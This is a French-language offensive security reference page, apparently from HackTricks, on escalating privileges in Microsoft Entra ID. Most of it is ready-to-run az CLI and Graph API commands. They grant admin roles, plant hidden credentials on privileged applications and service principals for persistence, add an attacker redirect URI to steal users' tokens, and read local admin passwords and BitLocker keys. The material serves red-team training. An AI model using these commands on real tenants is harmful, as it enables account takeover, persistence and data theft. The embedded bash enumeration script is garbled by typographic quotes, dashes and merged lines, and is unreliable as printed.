Az - EntraID Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Note

Notez que pas toutes les permissions granulaires que possĂšdent les rĂŽles intĂ©grĂ©s dans Entra ID sont Ă©ligibles pour ĂȘtre utilisĂ©es dans des rĂŽles personnalisĂ©s.

RĂŽles

RĂŽle: Privileged Role Administrator

Ce rĂŽle contient les permissions granulaires nĂ©cessaires pour pouvoir assigner des rĂŽles Ă  des principals et pour donner davantage de permissions aux rĂŽles. Ces deux actions pourraient ĂȘtre abusĂ©es pour escalate privileges.

  • Attribuer un rĂŽle Ă  un utilisateur :
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Ajouter plus de permissions Ă  un rĂŽle :
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Applications

microsoft.directory/applications/credentials/update

Cela permet à un attaquant de add credentials (passwords or certificates) aux applications existantes. Si l’application possùde des privileged permissions, l’attaquant peut s’authentifier en tant que cette application et obtenir ces privilùges.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Cela permet les mĂȘmes actions que applications/credentials/update, mais limitĂ© aux applications d’annuaire unique.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

En s’ajoutant comme propriĂ©taire, un attaquant peut manipuler l’application, y compris les identifiants et les autorisations.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Un attaquant peut ajouter un URI de redirection aux applications utilisĂ©es par les utilisateurs du tenant, puis leur partager des URLs de connexion qui utilisent ce nouvel URI de redirection afin de voler leurs tokens. Notez que si l’utilisateur Ă©tait dĂ©jĂ  connectĂ© Ă  l’application, l’authentification sera automatique sans que l’utilisateur ait besoin d’accepter quoi que ce soit.

Notez qu’il est aussi possible de modifier les permissions demandĂ©es par l’application afin d’obtenir davantage d’autorisations, mais dans ce cas l’utilisateur devra accepter Ă  nouveau l’invite demandant toutes les autorisations.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Applications Privilege Escalation

As explained in this post il était trÚs courant de trouver des applications par défaut auxquelles avaient été assignées des API permissions de type Application.

Une API Permission (comme appelĂ©e dans la console Entra ID) de type Application signifie que l’application peut accĂ©der Ă  l’API et effectuer des actions sans contexte utilisateur (sans qu’un utilisateur se connecte Ă  l’app), et sans nĂ©cessiter de rĂŽles Entra ID pour l’y autoriser. Par consĂ©quent, il est trĂšs courant de trouver des applications fortement privilĂ©giĂ©es dans chaque tenant Entra ID.

Ensuite, si un attaquant a une permission/role qui permet de mettre Ă  jour les credentials (secret o certificate) de l’application, il peut gĂ©nĂ©rer un nouveau credential puis l’utiliser pour s’authentifier en tant que l’application, obtenant ainsi toutes les permissions que possĂšde l’application.

Notez que le blog mentionnĂ© partage certaines API permissions d’applications Microsoft par dĂ©faut ; cependant, quelque temps aprĂšs ce rapport Microsoft a corrigĂ© ce problĂšme et il n’est plus possible de se connecter en tant qu’applications Microsoft. Cependant, il est toujours possible de trouver des applications personnalisĂ©es avec de hauts privilĂšges pouvant ĂȘtre abusĂ©es.

How to enumerate the API permissions of an application:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Trouver toutes les permissions API des applications et marquer les API appartenant Ă  Microsoft ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Ceci permet à un attacker d'ajouter des credentials aux service principals existants. Si le service principal dispose de privilÚges élevés, l'attacker peut assumer ces privilÚges.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

Le nouveau mot de passe gĂ©nĂ©rĂ© n’apparaĂźtra pas dans la console web, donc cela peut ĂȘtre un moyen discret de maintenir une persistance sur un service principal.
Depuis l’API, ils peuvent ĂȘtre trouvĂ©s avec : az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Si vous obtenez l’erreur "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." c’est parce que il n’est pas possible de modifier la propriĂ©tĂ© passwordCredentials du SP et vous devez d’abord la dĂ©verrouiller. Pour cela, vous avez besoin d’une permission (microsoft.directory/applications/allProperties/update) qui vous permet d’exĂ©cuter :

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Cela permet Ă  un attacker d’ajouter des credentials Ă  des service principals existants. Si le service principal dispose de privilĂšges Ă©levĂ©s, l’attacker peut assumer ces privilĂšges.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

De la mĂȘme maniĂšre que pour les applications, cette permission permet d’ajouter davantage de propriĂ©taires Ă  un service principal. PossĂ©der un service principal permet de contrĂŽler ses identifiants et ses autorisations.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

AprĂšs avoir ajoutĂ© un nouveau propriĂ©taire, j’ai essayĂ© de le supprimer mais l’API a rĂ©pondu que la mĂ©thode DELETE n’était pas prise en charge, mĂȘme si c’est la mĂ©thode que vous devez utiliser pour supprimer le propriĂ©taire. Donc vous ne pouvez pas supprimer les propriĂ©taires pour l’instant.

microsoft.directory/servicePrincipals/disable and enable

Ces permissions permettent de dĂ©sactiver et d’activer des service principals. Un attaquant pourrait utiliser cette permission pour activer un service principal auquel il aurait pu accĂ©der d’une maniĂšre ou d’une autre afin d’escalader ses privilĂšges.

Notez que pour cette technique, l’attaquant aura besoin de permissions supplĂ©mentaires afin de prendre le contrĂŽle du service principal activĂ©.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Ces autorisations permettent de crĂ©er et d’obtenir des identifiants pour le single sign-on, ce qui pourrait permettre d’accĂ©der Ă  des applications tierces.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Groupes

microsoft.directory/groups/allProperties/update

Cette permission permet d’ajouter des utilisateurs Ă  des groupes privilĂ©giĂ©s, conduisant Ă  une Ă©lĂ©vation de privilĂšges.

az ad group member add --group <GroupName> --member-id <UserId>

Remarque : Cette permission exclut les groupes assignables aux rĂŽles Entra ID.

microsoft.directory/groups/owners/update

Cette permission permet de devenir propriĂ©taire de groupes. Un propriĂ©taire d’un groupe peut contrĂŽler l’appartenance et les paramĂštres du groupe, ce qui peut potentiellement entraĂźner une Ă©lĂ©vation de privilĂšges au niveau du groupe.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Remarque : Cette permission exclut Entra ID role-assignable groups.

microsoft.directory/groups/members/update

Cette permission permet d’ajouter des membres Ă  un groupe. Un attacker pourrait s’ajouter lui‑mĂȘme ou ajouter des comptes malveillants Ă  des groupes privilĂ©giĂ©s, ce qui pourrait lui octroyer un accĂšs privilĂ©giĂ©.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Cette permission permet de mettre Ă  jour la rĂšgle d’appartenance d’un groupe dynamique. Un attaquant pourrait modifier les rĂšgles dynamiques pour s’inclure lui-mĂȘme dans des groupes privilĂ©giĂ©s sans ajout explicite.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Note : Cette permission exclut les groupes assignables de rĂŽles Entra ID.

Privesc des groupes dynamiques

Il peut ĂȘtre possible pour des utilisateurs d’escalader leurs privilĂšges en modifiant leurs propres propriĂ©tĂ©s afin d’ĂȘtre ajoutĂ©s en tant que membres de groupes dynamiques. Pour plus d’informations, consulter :

Az - Dynamic Groups Privesc

Utilisateurs

microsoft.directory/users/password/update

Cette permission permet de rĂ©initialiser le mot de passe d’utilisateurs non-administrateurs, permettant Ă  un attaquant potentiel d’escalader ses privilĂšges vers d’autres utilisateurs. Cette permission ne peut pas ĂȘtre assignĂ©e aux rĂŽles personnalisĂ©s.

az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

Ce privilĂšge permet de modifier les propriĂ©tĂ©s d’un utilisateur. Il est courant de trouver des groupes dynamiques qui ajoutent des utilisateurs en fonction des valeurs des propriĂ©tĂ©s ; par consĂ©quent, cette permission pourrait permettre Ă  un utilisateur de dĂ©finir la valeur de propriĂ©tĂ© requise pour devenir membre d’un groupe dynamique spĂ©cifique et d’escalader ses privilĂšges.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

Des conditional access policies mal configurĂ©es exigeant MFA peuvent ĂȘtre contournĂ©es — vĂ©rifiez :

Az - Conditional Access Policies & MFA Bypass

Appareils

microsoft.directory/devices/registeredOwners/update

Cette permission permet aux attackers de s’attribuer la propriĂ©tĂ© des appareils afin de prendre le contrĂŽle ou d’accĂ©der aux paramĂštres et aux donnĂ©es propres aux appareils.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Cette permission permet aux attackers d’associer leur compte Ă  des appareils pour obtenir l’accĂšs ou contourner les politiques de sĂ©curitĂ©.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Cette permission permet aux attaquants de lire les propriétés des credentials sauvegardés du compte administrateur local pour les appareils joints à Microsoft Entra, y compris le mot de passe

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Cette permission permet d’accĂ©der aux clĂ©s BitLocker, ce qui pourrait permettre Ă  un attaquant de dĂ©crypter des disques, compromettant la confidentialitĂ© des donnĂ©es.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Autres permissions intĂ©ressantes (À FAIRE)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks